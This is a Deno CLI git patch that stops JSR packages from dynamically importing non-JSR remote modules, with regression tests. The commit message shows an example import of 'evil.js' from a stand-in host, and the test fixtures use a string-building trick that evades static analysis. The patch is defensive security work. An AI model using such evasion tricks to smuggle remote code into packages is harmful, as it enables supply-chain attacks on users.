From 918c5e648f4bd08d768374ccde1b451b84793b76 Mon Sep 17 00:00:00 2001 From: David Sherret Date: Wed, 28 Feb 2024 16:30:45 -0500 Subject: [PATCH] fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this. --- cli/module_loader.rs | 184 ++++++++++-------- tests/integration/jsr_tests.rs | 16 ++ .../jsr/import_https_url/analyzable.out | 8 + .../jsr/import_https_url/analyzable.ts | 1 + .../jsr/import_https_url/unanalyzable.out | 7 + .../jsr/import_https_url/unanalyzable.ts | 1 + .../import-https-url/1.0.0/analyzable.ts | 1 + .../import-https-url/1.0.0/unanalyzable.ts | 5 + .../import-https-url/1.0.0_meta.json | 6 + .../@denotest/import-https-url/meta.json | 5 + 10 files changed, 155 insertions(+), 79 deletions(-) create mode 100644 tests/testdata/jsr/import_https_url/analyzable.out create mode 100644 tests/testdata/jsr/import_https_url/analyzable.ts create mode 100644 tests/testdata/jsr/import_https_url/unanalyzable.out create mode 100644 tests/testdata/jsr/import_https_url/unanalyzable.ts create mode 100644 tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts create mode 100644 tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts create mode 100644 tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json create mode 100644 tests/testdata/jsr/registry/@denotest/import-https-url/meta.json diff --git a/cli/module_loader.rs b/cli/module_loader.rs index ae7f8f3495..0951a287c6 100644 --- a/cli/module_loader.rs +++ b/cli/module_loader.rs @@ -1,5 +1,6 @@ // Copyright 2018-2024 the Deno authors. All rights reserved. MIT license. +use crate::args::jsr_url; use crate::args::CliOptions; use crate::args::DenoSubcommand; use crate::args::TsTypeLib; @@ -24,6 +25,7 @@ use crate::worker::ModuleLoaderFactory; use deno_ast::MediaType; use deno_core::anyhow::anyhow; +use deno_core::anyhow::bail; use deno_core::anyhow::Context; use deno_core::error::custom_error; use deno_core::error::generic_error; @@ -478,13 +480,28 @@ impl CliModuleLoader { &code_source.found_url, )) } -} -impl ModuleLoader for CliModuleLoader { - fn resolve( + fn resolve_referrer( + &self, + referrer: &str, + ) -> Result { + // TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each + // call - maybe it should be caller's responsibility to pass it as an arg? + let cwd = std::env::current_dir().context("Unable to get CWD")?; + if referrer.is_empty() && self.shared.is_repl { + // FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL + // and `Deno.core.evalContext` API. Ideally we should always have a referrer filled + // but sadly that's not the case due to missing APIs in V8. + deno_core::resolve_path("./$deno$repl.ts", &cwd).map_err(|e| e.into()) + } else { + deno_core::resolve_url_or_path(referrer, &cwd).map_err(|e| e.into()) + } + } + + fn inner_resolve( &self, specifier: &str, - referrer: &str, + referrer: &ModuleSpecifier, kind: ResolutionKind, ) -> Result { let permissions = if matches!(kind, ResolutionKind::DynamicImport) { @@ -493,84 +510,66 @@ impl ModuleLoader for CliModuleLoader { &self.root_permissions }; - // TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each - // call - maybe it should be caller's responsibility to pass it as an arg? - let cwd = std::env::current_dir().context("Unable to get CWD")?; - let referrer_result = deno_core::resolve_url_or_path(referrer, &cwd); - - if let Ok(referrer) = referrer_result.as_ref() { - if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package( - specifier, - referrer, - permissions, - ) { - return result; - } - - let graph = self.shared.graph_container.graph(); - let maybe_resolved = match graph.get(referrer) { - Some(Module::Js(module)) => { - module.dependencies.get(specifier).map(|d| &d.maybe_code) - } - _ => None, - }; - - match maybe_resolved { - Some(Resolution::Ok(resolved)) => { - let specifier = &resolved.specifier; - - return match graph.get(specifier) { - Some(Module::Npm(module)) => { - let package_folder = self - .shared - .node_resolver - .npm_resolver - .as_managed() - .unwrap() // byonm won't create a Module::Npm - .resolve_pkg_folder_from_deno_module( - module.nv_reference.nv(), - )?; - self - .shared - .node_resolver - .resolve_package_sub_path( - &package_folder, - module.nv_reference.sub_path(), - referrer, - permissions, - ) - .with_context(|| { - format!("Could not resolve '{}'.", module.nv_reference) - }) - } - Some(Module::Node(module)) => Ok(module.specifier.clone()), - Some(Module::Js(module)) => Ok(module.specifier.clone()), - Some(Module::Json(module)) => Ok(module.specifier.clone()), - Some(Module::External(module)) => { - Ok(node::resolve_specifier_into_node_modules(&module.specifier)) - } - None => Ok(specifier.clone()), - }; - } - Some(Resolution::Err(err)) => { - return Err(custom_error( - "TypeError", - format!("{}\n", err.to_string_with_range()), - )) - } - Some(Resolution::None) | None => {} - } + if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package( + specifier, + referrer, + permissions, + ) { + return result; } - // FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL - // and `Deno.core.evalContext` API. Ideally we should always have a referrer filled - // but sadly that's not the case due to missing APIs in V8. - let referrer = if referrer.is_empty() && self.shared.is_repl { - deno_core::resolve_path("./$deno$repl.ts", &cwd)? - } else { - referrer_result? + let graph = self.shared.graph_container.graph(); + let maybe_resolved = match graph.get(referrer) { + Some(Module::Js(module)) => { + module.dependencies.get(specifier).map(|d| &d.maybe_code) + } + _ => None, }; + match maybe_resolved { + Some(Resolution::Ok(resolved)) => { + let specifier = &resolved.specifier; + let specifier = match graph.get(specifier) { + Some(Module::Npm(module)) => { + let package_folder = self + .shared + .node_resolver + .npm_resolver + .as_managed() + .unwrap() // byonm won't create a Module::Npm + .resolve_pkg_folder_from_deno_module(module.nv_reference.nv())?; + self + .shared + .node_resolver + .resolve_package_sub_path( + &package_folder, + module.nv_reference.sub_path(), + referrer, + permissions, + ) + .with_context(|| { + format!("Could not resolve '{}'.", module.nv_reference) + })? + } + Some(Module::Node(module)) => module.specifier.clone(), + Some(Module::Js(module)) => module.specifier.clone(), + Some(Module::Json(module)) => module.specifier.clone(), + Some(Module::External(module)) => { + node::resolve_specifier_into_node_modules(&module.specifier) + } + None => specifier.clone(), + }; + return Ok(specifier); + } + Some(Resolution::Err(err)) => { + return Err(custom_error( + "TypeError", + format!("{}\n", err.to_string_with_range()), + )) + } + Some(Resolution::None) | None => {} + } + // FIXME(bartlomieju): this is another hack way to provide NPM specifier // support in REPL. This should be fixed. let resolution = self.shared.resolver.resolve( @@ -596,7 +595,7 @@ impl ModuleLoader for CliModuleLoader { return self.shared.node_resolver.resolve_req_reference( &reference, permissions, - &referrer, + referrer, ); } } @@ -604,6 +603,33 @@ impl ModuleLoader for CliModuleLoader { resolution.map_err(|err| err.into()) } +} + +impl ModuleLoader for CliModuleLoader { + fn resolve( + &self, + specifier: &str, + referrer: &str, + kind: ResolutionKind, + ) -> Result { + fn ensure_not_jsr_non_jsr_remote_import( + specifier: &ModuleSpecifier, + referrer: &ModuleSpecifier, + ) -> Result<(), AnyError> { + if referrer.as_str().starts_with(jsr_url().as_str()) + && !specifier.as_str().starts_with(jsr_url().as_str()) + && matches!(specifier.scheme(), "http" | "https") + { + bail!("Importing {} blocked. JSR packages cannot import non-JSR remote modules for security reasons.", specifier); + } + Ok(()) + } + + let referrer = self.resolve_referrer(referrer)?; + let specifier = self.inner_resolve(specifier, &referrer, kind)?; + ensure_not_jsr_non_jsr_remote_import(&specifier, &referrer)?; + Ok(specifier) + } fn load( &self, diff --git a/tests/integration/jsr_tests.rs b/tests/integration/jsr_tests.rs index fa8a9d8b9a..25a0c86630 100644 --- a/tests/integration/jsr_tests.rs +++ b/tests/integration/jsr_tests.rs @@ -60,6 +60,22 @@ itest!(deps_info { http_server: true, }); +itest!(import_https_url_analyzable { + args: "run -A jsr/import_https_url/analyzable.ts", + output: "jsr/import_https_url/analyzable.out", + envs: env_vars_for_jsr_tests(), + http_server: true, + exit_code: 1, +}); + +itest!(import_https_url_unanalyzable { + args: "run -A jsr/import_https_url/unanalyzable.ts", + output: "jsr/import_https_url/unanalyzable.out", + envs: env_vars_for_jsr_tests(), + http_server: true, + exit_code: 1, +}); + itest!(subset_type_graph { args: "check --all jsr/subset_type_graph/main.ts", output: "jsr/subset_type_graph/main.check.out", diff --git a/tests/testdata/jsr/import_https_url/analyzable.out b/tests/testdata/jsr/import_https_url/analyzable.out new file mode 100644 index 0000000000..dd1ca58b42 --- /dev/null +++ b/tests/testdata/jsr/import_https_url/analyzable.out @@ -0,0 +1,8 @@ +Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts +Download http://localhost:4545/welcome.ts +error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons. +await import("http://localhost:4545/welcome.ts"); +^ + at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts:1:1 diff --git a/tests/testdata/jsr/import_https_url/analyzable.ts b/tests/testdata/jsr/import_https_url/analyzable.ts new file mode 100644 index 0000000000..44382867f4 --- /dev/null +++ b/tests/testdata/jsr/import_https_url/analyzable.ts @@ -0,0 +1 @@ +import "jsr:@denotest/import-https-url/analyzable"; diff --git a/tests/testdata/jsr/import_https_url/unanalyzable.out b/tests/testdata/jsr/import_https_url/unanalyzable.out new file mode 100644 index 0000000000..4ae04996c9 --- /dev/null +++ b/tests/testdata/jsr/import_https_url/unanalyzable.out @@ -0,0 +1,7 @@ +Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts +error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons. +await import(nonAnalyzableUrl()); +^ + at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts:5:1 diff --git a/tests/testdata/jsr/import_https_url/unanalyzable.ts b/tests/testdata/jsr/import_https_url/unanalyzable.ts new file mode 100644 index 0000000000..87ccdcfdcf --- /dev/null +++ b/tests/testdata/jsr/import_https_url/unanalyzable.ts @@ -0,0 +1 @@ +import "jsr:@denotest/import-https-url/unanalyzable"; diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts new file mode 100644 index 0000000000..b1b64d82f8 --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts @@ -0,0 +1 @@ +await import("http://localhost:4545/welcome.ts"); diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts new file mode 100644 index 0000000000..63001d15f7 --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts @@ -0,0 +1,5 @@ +function nonAnalyzableUrl() { + return "http://localhost:4545/" + "welcome.ts"; +} + +await import(nonAnalyzableUrl()); diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json new file mode 100644 index 0000000000..23b877080e --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json @@ -0,0 +1,6 @@ +{ + "exports": { + "./unanalyzable": "./unanalyzable.ts", + "./analyzable": "./analyzable.ts" + } +} diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json b/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json new file mode 100644 index 0000000000..02601e4d0d --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json @@ -0,0 +1,5 @@ +{ + "versions": { + "1.0.0": {} + } +}